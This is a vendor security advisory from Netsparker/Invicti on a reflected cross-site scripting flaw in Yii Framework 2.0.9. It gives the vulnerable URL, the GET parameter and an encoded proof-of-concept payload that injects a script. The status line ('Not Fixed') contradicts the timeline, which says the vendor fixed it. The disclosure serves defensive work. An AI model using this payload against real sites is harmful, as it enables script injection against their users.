Information
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Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in Yii Framework
Affected Software: Yii Framework 2.0.9
Affected Versions: 2.0.9
Vendor Homepage: http://www.yiiframework.com/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-006

Technical Details
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Proof of Concept URL for XSS vulnerability in Yii Framework;

Url /basic/web/index.php?r=site/errors
Parameter Name nsextt
Parameter Type GET
Attack Pattern nsextt=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004EE0)%3C/scRipt%3E

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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01 Feb 2017 - Issue reported
07 Feb 2017 - Vendor fixed
08 Feb 2017 - Advisory released

Solution
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Download the latest version of Yii Framework.

Credits & Authors
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This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.